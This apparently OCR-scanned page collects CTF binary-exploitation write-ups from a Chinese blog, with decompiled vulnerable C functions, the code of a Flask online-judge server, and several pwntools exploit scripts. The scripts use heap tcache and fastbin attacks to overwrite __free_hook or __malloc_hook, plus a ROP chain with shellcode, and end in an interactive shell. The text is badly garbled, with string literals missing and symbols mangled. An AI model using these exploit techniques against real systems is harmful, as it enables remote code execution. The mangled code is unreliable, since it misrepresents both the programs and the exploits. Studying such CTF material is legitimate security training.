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{
puts("any comment?");
v2 = getchar();
if ((v2 == 121 || v2 == 89 )
{

puts("comment size?");
size = sub_1D2F();
vl = gqword_203898;
*(_QWORD *) (vl + 24) = malloc(zize);
puts("plz input comment");
sub_F65(*(_QWORD *)(qword_203898 + 24), =ize);
}
qword_2838Ce[v3] = qword_203898;
qword_263898 = oLL;
result = (unsigned int)v3;
}
else
{
puts("no more record");
result = BXFFFFFFFFLL;
}
}
else
{
puts(“nothing to store");
result = OXFFFFFFFFLL; CSDN @yongpaoill
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char buf; // [rsp+1Fh] [rbp-11h] BYI
unsigned int i; // [rsp+26h] [rbp-1¢
int v5; // [rsp+24h] [rbp-Ch]

un51gned __inté4 ve; // [rsp+28h] [1

v6 = __readfsgword(@x28u);
bu = 8;
r(1=0; 1< a2; ++1 )
{
v5 = read(@, &buf, 1ulLl);
if (v5 == -1)
exit(-1);
if ( buf == 108 )
break;
*(_BYTE *)(al + (int)i) = buf;
}
*(_BYTE *)((int)i + al)
return i;
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exp

from pwn import

r remote( ,26021)
libc = ELF(

def resume():
r.sendlineafter(

def new_game():
r.sendlineafter(
r.sendlineafter(
r.sendlineafter(

def load _game(index):
r.sendlineafter(

r.sendlineafter( (index))

def store_game(size 0, comment

r.sendlineafter( 5 )

if size 0:
r.sendafter(

else:
r.sendafter( )
r.sendlineafter( 5 (size))
r.sendafter( ,comment)

def delete record(index):

r.sendlineafter( 5



r.sendlineafter(

def show_record():

r.sendlineafter(

new_game ()

store_game(0xFO,

store_game (0xFO,
(7):

for i in

new_game( )

store_game(0xFO,

delete_record(i)

delete_record(9)
delete_record(2)
for i in (7):

new_game( )

store_game (0xF0,

delete_record(10)
new_game()
store_game (0xF0,
delete_record(11)
new_game()
store_game (0OxF0,
delete_record(12)
new_game ()

store_game(0x18,
delete_record(9)

for i in

delete_record(9)
delete_record(8)
for i in (7):
new_game()

store_game(0xF0,

new_game()
store_game (0OxFO,

main_arena_xx

r.recvuntil( )

main_arena_xx

(2,8):
delete_record(i)

(r.recvuntil(

main_arena_xx

OXFO)

OxFO)

OxFO)

OXF0)

OXF0)

OxF0)

0x10 p64(0x100 0x20 0x30

OXFO)

OXFO)

,drop = True))

(r.recvuntil(

0x20




malloc_hook_addr (main_arena_xx & OxFFFFFFFFFFFFF000) (libc.sym[ ]& OxFFF)
libc_base malloc_hook_addr libc.sym[ ]
free_hook_addr libc_base libc.sym[ ]
system_addr libc_base libc.sym[
5 (libc_base)

store_game (0x60, .1ljust(ex40, ) p64(9) p64(0x31) p64(free_hook addr)

new_game( )

store_game(0x20,p64(system_addr)

delete record(9)

r.interactive()
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while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ((v7 == 108 )
break;
= VB++;
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SREEN—if else
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if ( (unsigned int)sub_401678(v5) )
{
gsort(base, dword_6©3@AC, ©x2@eulLL, compar);
sub_401541();
}

else

{
fflush(stdout);

sub_4eeE87();
}

return eLL;
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int _ fastcall sub_401BBe(char *filename, struct stat *stat_buf)
{

h

return _ xstat(l, filename, stat buf);
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4
else if ( (stat _buf.st_mode & ©xFeee) == exs8eee )

{
dword_6038AC = 1;

src = __xpg_basename(al);
strcpy(base, src);
strcpy(byte_6831C0, al);
result = 1LL;

}

else

{
result = stat_buf.st_mode & ©xFeeo;

if ( (_DWORD)result == ©x4000 )
{
if ( al[strlen(al) - 1] != 47 )

{
v2 = &al[strlen(al)];
6 = v2 + 1;

sub_401eFF(al);
result = 1LL;
X
X

return result; - ) L
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from pwn import

context.log level
context.arch
context.os

r remote( , 26263)



https://blog.csdn.net/astrotycoon/article/details/8679676

p64(0x401b93) p64(elf.got| p64(elf.plt|
p64(0x4019F3)

r.sendlineafter( , payload)

libc_base ub4(r.recvuntil( : libc.symbols|[

print (libc_base)

0x418 p8(0x28)
p64(0x401b93) p64(elf.bss())
p64(libc_base libc.sym[ 1
p64(0x401b93) p64(elf.bss() oxfffffffffffffoo0)
p64(libc_base Ox23e6a) p64(0x1000)
p64(libc_base 0x1b96)
p64(7) p64(libc_base libc.sym[ 1 p64(elf.bss())

r.sendlineafter( , payload)

shellcode = asm(

r.sendline(shellcode)




r.interactive()

284 deictf 2019 atb

#5511 5&—Ndockerfile.

A001 a+b Problem

src code:

' submit |

dockerfile N iZ & Pk 1), FRATT LA E S EIBAS MU EE .
T PAFRAS v

¥ Fserver.pyd it — 1.

from flask import Flask,render_template,request
import uuid

import os

import lorun

import multiprocessing

app Flask(__name_ )

RESULT_STR

def compile binary(random_prefix):
os.system( (random_prefix, random_prefix))




@app.route( ,methods=|[

random_prefix uuid.uuidl().
random_src random_prefix
random_prog random_prefix
random_output random_prefix
if not in request.form:

return

with (random_src, ) as f:

f.write(request.form| D)

process multiprocessing.Process(target=compile_binary,args=(random_prefix,))

process.start()

process.join(1)

if process.is_alive():
process.terminate()

return

if not os.path.exists(random_prefix
os.remove(random_src)

return

')

(random_output,

[ random_prog],
:fin.fileno(),
:ftemp.fileno(),
11000,
1200000,
:True,
:[e, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 16, 21, 25, 56, 63, 78, 79, 87, 89, 9
7, 102, 158, 186, 202, 218, 219, 231, 234, 273],
!
1524288,
1524288,
1524288,
1524288,
1524288,
1524288,
1524288

rst = lorun.run(runcfg)
fin.close()
ftemp.close()

os.remove(random_prog)
os.remove(random_src)

if rst| ] 9:
ftemp (random_output,
fout ( 5 )
crst lorun.check(fout.fileno() , ftemp.fileno())
fout.seek(9)




standard_output fout.read()
test_output ftemp.read()
fout.close()
ftemp.close()
if crst 0:
msg RESULT_STR[crst]
msg
msg standard_output
msg
msg test_output
os.remove(random_output)
return msg
os.remove(random_output)
return RESULT_STR[rst[ 11
except Exception as e:
if os.path.exists(random_prog):

os.remove(random_prog)

if os.path.exists(random_src):

os.remove(random_src)

return (e)

return
@app.route(
def hello():

return render_template(

if _ _name__

app.run(host ,port=11111)
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int main(void)

{
system(

return 0;
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unsigned __int64 sub_B49()

{

int ve; // ebx
void **v1; // rbx
_DWORD nbytes[7]; // [rsp+4h] [rbp-1Ch] BYR

*(_QWORD *)&nbytes[1] = __readfsqword(@x28u);
if ( count > 188 )
puts("Enough!");
ve = count;
*((_QWORD *)&array_address + v@) = malloc(@x18uLL);
puts("Please input the size of girl's name");
__1s0c99_scanf("%d", nbytes);
*(_DWORD *)(*((_QWORD *)&array_address + count) + 8LL) = nbytes[@];
vl = (void **)*((_QWORD *)&array_address + count);
*vl = malloc(nbytes[@]);
puts(“please inpute her name:");
read(@, **((void ***)&array_address + count), nbytes[@]);
puts(“please input her call:");
read(@, (void *)(*((_QWORD *)&array_address + count) + 12LL), ©xCulLlL);
*(_BYTE *)(*((_QWORD *)&array_address + count) + 23LL) = ©;
puts(“Done!");
++count;
return __readfsqword(@x28u) ~ *(_QWORD *)&nbytes[1];
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unsigned __int64 sub_CFC()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = _ readfsqword(©x28u);
puts("Please input the index:");
__1s0c99_scanf("%d", &v1);
if ( *((_QWORD *)&array_address + v1) )
{
puts("name:");
puts(**((const char ***)&array_address + v1));
puts("phone:");
puts((const char *)(*((_QWORD *)&array_address + v1) + 12LL));
X
puts("Done!");
return __readfsqword(@x28u) " v2;

B edit



free

{

kinsigned _ inté64 sub_DD6()

unsigned int ve; // eax

int v2; // [rsp+@h] [rbp-16h] BYREF

int v3; // [rsp+4h] [rbp-Ch]

unsigned __inté4 v4; // [rsp+8h] [rbp-8h]

v4d = _ readfsqword(@x28u);
puts("Be brave,speak out your love!");
puts(&byte_11DE);
puts("Please input the index:");
__1s0c99_scanf("%d", &v2);
if (vz2<o || vz >99)
exit(e);
if ( *((_QWORD *)&array_address + v2) )
free(**((void ***)&array_address + v2));
ve = time(OLL);
srand(ve);
v3 = rand() % 10;
if (v2>1)
puts("Oh, you have been refused.");
else
puts("Now she is your girl friend!");
puts("Done!™);
return __readfsqword(®x28u) ~ v4;
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from pwn import

context.log level

,28575)

def add(size,call):

.sendlineafter(
.sendlineafter(
.sendlineafter(
.sendlineafter(

p.sendlineafter(

p.sendlineafter(

def edit():




p.sendlineafter(
def delete(idx):

p.sendlineafter(
p.sendlineafter(

E)

malloc_hook (ub4(p.recvuntil( )[-6:].1just(8, D) OXFFFFFFFFFFFFFO00) (libc.sym[
OXFFF)
libc_base malloc_hook libc.sym[

realloc libc_base libc.sym[
system_addr libc_base libc.sym[
libc_base 0x10a38c
(libc_base)

(7 + 1+ 2):
add (0x68, (1))

for i in (7 + 1):
delete(i 1)

add(0x68, (1))
, p64(malloc_hook - ©x13))
s )
)
Oxb+p64(one_gadget)+p64(realloc+6))
p.sendlineafter(

p.sendline(

p.interactive()
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